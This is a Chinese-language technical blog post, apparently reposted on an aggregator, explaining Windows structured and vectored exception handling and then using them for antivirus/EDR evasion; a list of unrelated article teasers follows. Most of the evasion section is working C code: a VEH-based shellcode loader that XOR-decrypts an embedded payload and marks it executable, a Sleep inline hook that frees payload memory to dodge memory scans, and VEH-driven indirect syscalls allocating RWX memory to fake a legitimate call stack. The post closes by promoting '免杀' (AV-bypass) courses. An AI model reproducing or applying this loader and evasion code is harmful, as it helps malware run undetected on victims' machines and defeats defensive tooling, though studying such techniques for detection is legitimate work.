从安全角度看 SEH 和 VEH

news2024/12/27 20:33:14

从安全角度看 SEH 和 VEH

异常处理程序是处理程序中不可预见的错误的基本方法之一

  • https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/

SEH——结构化异常处理程序

就其工作方式而言,异常处理程序与其他处理程序相比相当基础,有一个 try 块用于包装不安全代码,还有一个 except 块用于在生成特定异常时进行处理。

在下面的代码中示例中,可以通过将 0 作为第二个输入来生成异常,因为除以零是系统生成的异常。这被包装在try块中,过滤器代码会检查这是什么类型的异常,在这种情况下,如果是,EXCEPTION_INT_DIVIDE_BY_ZERO将继续处理包装在except块中的异常。

int main()
{
  __try
  {
      int inp1 = 0, inp2 = 0;
      printf("第一个输入: ");
      scanf_s("%d", &inp1);
      printf("第二个输入: ");
      scanf_s("%d", &inp2);
      int result = inp1 / inp2;
      printf("结果: %d", result);
  }
  __except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
  {
      printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n");
  }

  return 0;
}

从编译时开始。编译器生成有关异常的所有必要信息,异常类型,过滤器的位置和处理它的最终代码等,最后将它们内嵌到PE文件的异常框架中

VEH——向量异常处理程序

向量异常处理是结构化异常处理的扩展,这些处理程序使用回调函数机制工作。每当发生异常时,就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在程序中的任何位置注册回调。

需要注意的是,VEH 异常处理程序是全局注册的,并不与单个函数或单个堆栈框架绑定。由于向后兼容,系统首先调用所有 VEH 处理程序,如果所有处理程序均未执行该处理程序,则将其传递给 SEH。此外,VEH 以循环链接列表的形式实现。

PVOID AddVectoredExceptionHandler(
ULONG                       First,
PVECTORED_EXCEPTION_HANDLER Handler
);

winAPI 有两个参数,

  • 第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。

  • 第二个参数是要注册的回调函数的指针。

回调函数定义如下

PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;

LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)

第一个参数中指向结构的指针定义如下

typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT         ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

该结构包含两个主要成员:

结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包含定义的异常的详细信息

ExceptionRecord定义如下:

typedef struct _EXCEPTION_RECORD {
DWORD                   ExceptionCode;
DWORD                   ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID                   ExceptionAddress;
DWORD                   NumberParameters;
ULONG_PTR               ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

第一个元素是最常用的,它包含产生了什么类型的异常,例如STATUS_INTEGER_DIVISION_BY_ZERO

第二个指针指向结构CONTEXT,其中包含异常发生时CPU上下文的所有细节。这个结构非常重要,因为它可以允许读取和写回数据,一旦执行恢复,这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时,系统将根据返回值继续搜索异常或继续执行进程。

当系统继续执行进程时,它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的,安全产品通常不会检测到这种CPU状态覆盖。

VEH 的使用非常简单:

注册一个名为VEHHandler()的处理程序,它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。

LONG WINAPI VEHHandler(
  struct _EXCEPTION_POINTERS* ExceptionInfo
) {
  if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
      printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n");
  }
  return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
  PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);
  int inp1 = 0, inp2 = 0;
  printf("第一个输入: ");
  scanf_s("%d", &inp1);
  printf("第二个输入: ");
  scanf_s("%d", &inp2);
  int result = inp1 / inp2;
  printf("结果: %d", result);
  RemoveVectoredExceptionHandler(h1);
  return 0;
}

与SEH不同,VEH可以被认为是一种运行时机制,因为处理程序是在运行时过程中的任何地方注册和删除的。

异常处理技术在绕过防护机制中的应用

执行payload

由于可以访问 context 结构,所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置,这意味着可以进行间接调用。

void myFunction() {
//payload..........
  printf("[*] myFunction() Called\n");
}


LONG WINAPI testHandler(
  struct _EXCEPTION_POINTERS* ExceptionInfo
) {
  if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
      ULONG64 Offset = 0x1000;
      HMODULE BaseAddress = GetModuleHandleA(NULL);
      printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);
      ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;
      printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);
      ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;
       
  }
  return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
  PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
  int inp1 = 0, inp2 = 0;
  int result = inp1 / inp2;
  RemoveVectoredExceptionHandler(h1);
  return 0;
}
运行时代码解密+规避内存扫描

使用异常EXCEPTION_ACCESS_VIOLATION,该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中,全局变量不是可执行内存区域,所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。

#define XOR_KEY 0x66

char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";

LONG WINAPI testHandler(
  struct _EXCEPTION_POINTERS* ExceptionInfo
) {
  if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {
      printf("[*] 进入异常处理\n");
      DWORD flOldProtect;
      for (int i = 0; i < sizeof(enc_shellcode); i++) {
          encode_shellcode[i] ^= XOR_KEY;
      }
      BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);
      if (res == TRUE) {
          printf("[*] 执行权限改为 PAGE_EXECUTE\n");
      }
  }
  return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
  PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
  (*(void (*)()) & encode_shellcode)();
  RemoveVectoredExceptionHandler(h1);
  return 0;
}

然后再Hook Sleep函数,将功能模块的内存属性改为不可执行,便可规避后续的内存扫描。

static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewCustomSleep(DWORD dwMilliseconds) {
  if (CustomFlag)
  {
      VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);
      CustomFlag = false;
  }
  printf("custom sleep time:%d\n", dwMilliseconds);
  unhookCustomSleep();
  OrigSleep(dwMilliseconds);
  hookCustomSleep();
}
void hookCustomSleep() {
  DWORD dwOldProtect = NULL;
  BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
  RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));
  DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;
  RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));
  VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));
  VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}
void unhookCustomSleep() {
  DWORD dwOldProtect = NULL;
  VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));
  VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}

运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘,可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现,读者可以尝试

间接系统调用

与上面提到的可能性类似,也可以修改RIP,用ntdll.dll库中的地址覆盖它,以执行间接的系统调用。

系统调用由寄存器 RAX 控制,其中包含称为 SSN(系统服务编号)

HOOK技术是AV/EDR常用的检测机制,尽管使用syscall可以绕过检测,但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术,而从其他进程(如库本身)调用系统调用称为间接系统调用技术。

当在自己的程序中使用系统调用时,通常可以通过简单的签名被检测到(通过检查系统调用的来源),系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的,但是如果不是这样,它就会发出一个主要的危险信号。这是可以避免的,可以使用向量异常处理进行间接系统调用,这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性

最简单的方法是利用异常STATUS_ACCESS_VIOLATION,该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中,在本例中是0x18,它对应于系统调用ntallocatvirtualmemory,然后将其转换为函数并调用它。本质上,它调用地址0x18的函数,这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数,只需像调用其他函数一样调用存储SSN的变量,上下文将包含传递的参数。

一旦生成异常,就可以模拟系统调用指令,就像在ntdll.dll中找到它一样,并将控制流更改为dll中的系统调用地址。

typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (
  IN HANDLE               ProcessHandle,
  IN OUT PVOID*           BaseAddress,
  IN ULONG               ZeroBits,
  IN OUT PULONG           RegionSize,
  IN ULONG               AllocationType,
  IN ULONG               Protect
  );


ULONG_PTR FindSyscallAddr() {
  FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");
  BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);
  BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };
  int cnt_sig = 0, cnt_fn = 0;
  while (TRUE) {
      if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {
          cnt_fn++;
          cnt_sig++;
          if (cnt_sig == sizeof(sig_syscall)) {
              ptr_sysaddr += cnt_fn - sizeof(sig_syscall);
              break;
          }
      }
      else {
          cnt_fn = cnt_fn - cnt_sig + 1;
          cnt_sig = 0;
      }
  }
  return (ULONG_PTR)ptr_sysaddr;
}

LONG WINAPI testHandler(
  struct _EXCEPTION_POINTERS* ExceptionInfo
) {
  if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {

      ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
      DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;
      printf("[*] Syscall Number: %#x\n", (INT32)ssn);
      ExceptionInfo->ContextRecord->Rax = ssn;
      ULONG_PTR SyscallAddr = FindSyscallAddr();
      ExceptionInfo->ContextRecord->Rip = SyscallAddr;
      return EXCEPTION_CONTINUE_EXECUTION;
  }
  return EXCEPTION_CONTINUE_SEARCH;
}

int main()
{
  PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
  pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;
  PVOID retAddr = NULL;
  ULONG size = 0x1000;
  NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (retAddr == NULL) {
      printf("[!] NtAllocateVirtualMemory Failed\n");
  }
  else {
      printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);
  }
  RemoveVectoredExceptionHandler(h1);
  return 0;
}

大家伙,如果想学习更多的知识,可以看我们的论坛:
 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2266578.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

运行Zr.Admin项目(前端)

1.确认环境信息 我这里装的是node16.17版本的 官网16版本的最新为v16.20.2&#xff0c;下载链接https://nodejs.org/dist/v16.20.2/node-v16.20.2-x64.msi 2.去掉ssl 进入到Zr.Admin项目根目录&#xff0c;进入到ZR.vue 打开package.json 文件&#xff0c;删除启动命令配置中…

uniapp登录

第一步整登录 先整个appid APPID和APPSecret https://developers.weixin.qq.com/community/develop/article/doc/000ca4601b8f70e379febac985b413 一个账号只能整一个小程序 正确流程 调用uni.login https://juejin.cn/post/7126553599445827621 https://www.jb51.net/a…

esp32学习:用虫洞ESP32S3-EYE开发板快速实现USB摄像头(UVC免驱)

直接上干货&#xff1a;实现一个USB摄像头&#xff0c;免驱UVC设备。 硬件准备&#xff1a; 乐官方推荐的Cam开发板就是乐鑫带摄像头OV2604的esp32-s3-eye&#xff0c;我们虫洞esp32-s3-eye完全兼容这个板子哦&#xff0c;虫洞ESP32-S3-EYE 人脸识别 esp-cam升级 OpenCV LVGL …

CMake 构建项目并整理头文件和库文件

本文将介绍如何使用 CMake 构建项目、编译生成库文件&#xff0c;并将头文件和库文件整理到统一的目录中以便在其他项目中使用。 1. 项目结构 假设我们正在构建一个名为 rttr 的开源库&#xff0c;初始的项目结构如下&#xff1a; D:\WorkCode\Demo\rttr-master\|- src\ …

磁盘结构、访问时间、调度算法

目录 一、什么是磁盘&#xff1f; 二、磁盘分类 1、从磁头分 2、通过盘面分 三、一次磁盘读/写的时间 四、磁盘调度算法 1、先来先到服务算法FCFS 2、最短寻找时间优先SSTF 3、扫描算法&#xff08;SCAN&#xff09; 4、LOOk算法 5、循环扫描算法&#xff08;C-SCAN…

重生之我在异世界学编程之C语言:深入预处理篇(上)

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 本文目录 引言正文一、预处理的作用与流程&#xf…

Github——网页版上传文件夹

第一步&#xff1a;创建一个新的仓库或进入已存在的仓库页面 第二步&#xff1a;点进对应的文件夹下&#xff0c;然后 点击 “Upload files” 第三步&#xff1a;将文件夹拖拽到上传区域 打开资源管理器&#xff0c;将要上传的文件夹从计算机中拖拽到上传区域。 注意&#xf…

LeetCode - Google 校招100题 第6天 回溯法(Backtracking) (8题)

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/144743505 LeetCode 合计最常见的 112 题: 校招100题 第1天 链表(List) (19题)校招100题 第2天 树(Tree) (21题)校招100题 第3天 动态规划(DP) (20题)

flask后端开发(2):URL与视图

目录 URL定义request获取请求参数 gitcode地址&#xff1a; https://gitcode.com/qq_43920838/flask_project.git URL定义 from flask import FlaskappFlask(__name__)app.route(/) def hello_world():return Hello World!app.route(/profile) def profile():return 我是个人…

<数据集>风力发电机损伤识别数据集<目标检测>

数据集下载链接 &#xff1c;数据集&#xff1e;风力发电机损伤识别数据集&#xff1c;目标检测&#xff1e;https://download.csdn.net/download/qq_53332949/90187097数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;2527张 标注数量(xml文件个数)&#xff1a;252…

【工具推荐】MobaXterm远程终端管理工具最全攻略,涉及下载、安装、字体配置、中文汉化版、中文显示乱码和中文输入乱码、adb tab无效无法补全、Telnet/ssh使用说明、使用技巧等保姆级教程

MobaXterm远程终端管理工具史上最全攻略&#xff0c;涉及下载、安装、字体等配置、解决中文乱码、Telnet/ssh/Serial使用教程、高级功能使用技巧等。MobaXterm 是一个增强型的 Windows 终端。其为 Windows 桌面提供所有重要的远程网络终端工具&#xff08;如 SSH、X11、RDP、VN…

19、鸿蒙学习——配置HDC命令 环境变量

一、下载Command Line Tools 可参考上篇《鸿蒙学习——配置OHPM、hvigor环境变量》 二、配置hdc环境变量 hdc命令行工具用于HarmonyOS应用/元服务调试所需的工具&#xff0c;该工具存放在命令行工具自带的sdk下的toolchains目录中。为方便使用hdc命令行工具&#xff0c;请将…

Go语言及MongoDB数据库安装配置详解!

Go语言安装 首先讲一下go语言的安装&#xff0c;这部分可直接从官网下载&#xff0c;基本上一键配置的&#xff1a; 官网地址&#xff1a;All releases - The Go Programming Language 选择自己对应系统的安装包&#xff0c;这里官网提供了5种不同的包可自行下载 之后便是默认…

Linux配置ODBC连接Mysql

1、安装mysql 2、安装unixodbc odbcinst -j 查询unixodbc版本以及配置文件路径 3、安装mysql-connector-odbc ####下载 wget https://cdn.mysql.com/archives/mysql-connector-odbc-9.0/mysql-connector-odbc-9.0.0-1.el7.x86_64.rpm ####安装 rpm -ivh mysql-connector-od…

芯片Tapeout power signoff 之IR Drop Redhawk Ploc文件格式及其意义

数字IC后端工程师在芯片流程最后阶段都会使用redhawk或voltus进行设计的IR Drop功耗signoff分析。必须确保静态&#xff0c;动态ir drop都符合signoff标准。 在做redhawk ir drop分析前&#xff0c;我们需要提供一个redhawk ploc供电点坐标。 数字IC设计后端实现前期预防IR D…

数据仓库工具箱—读书笔记02(Kimball维度建模技术概述03、维度表技术基础)

Kimball维度建模技术概述 记录一下读《数据仓库工具箱》时的思考&#xff0c;摘录一些书中关于维度建模比较重要的思想与大家分享&#x1f923;&#x1f923;&#x1f923; 第二章前言部分作者提到&#xff1a;技术的介绍应该通过涵盖各种行业的熟悉的用例展开&#xff08;赞同…

设置首选网络类型以及调用Android框架层的隐藏API

在Android SDK中提供的framework.jar是阉割版本的&#xff0c;比如有些类标记为hide&#xff0c;这些类不会被打包到这个jar中&#xff0c;而有些只是类中的某个方法或或属性被标记为hide&#xff0c;则这些类或属性会被打包到framework.jar&#xff0c;但是我们无法调用&#…

3D几何建模引擎Parasolid功能解析

一、什么是Parasolid&#xff1f; Parasolid是由Siemens PLM Software开发的高精度精密几何建模引擎。它全面评估CAD&#xff08;计算机辅助设计&#xff09;、CAM&#xff08;计算机辅助制造&#xff09;、CAE&#xff08;计算机辅助工程&#xff09;、PLM&#xff08;产品生…

xinput1_3.dll放在哪里?当xinput1_3.dll丢失时的应对策略:详细解决方法汇总

在计算机系统的运行过程中&#xff0c;我们偶尔会遇到一些令人困扰的问题&#xff0c;其中xinput1_3.dll文件丢失就是较为常见的一种情况。这个看似不起眼的动态链接库文件&#xff0c;实则在许多软件和游戏的正常运行中发挥着至关重要的作用。一旦它丢失&#xff0c;可能会导致…

【开源免费】基于SpringBoot+Vue.JS安康旅游网站(JAVA毕业设计)

本文项目编号 T 098 &#xff0c;文末自助获取源码 \color{red}{T098&#xff0c;文末自助获取源码} T098&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…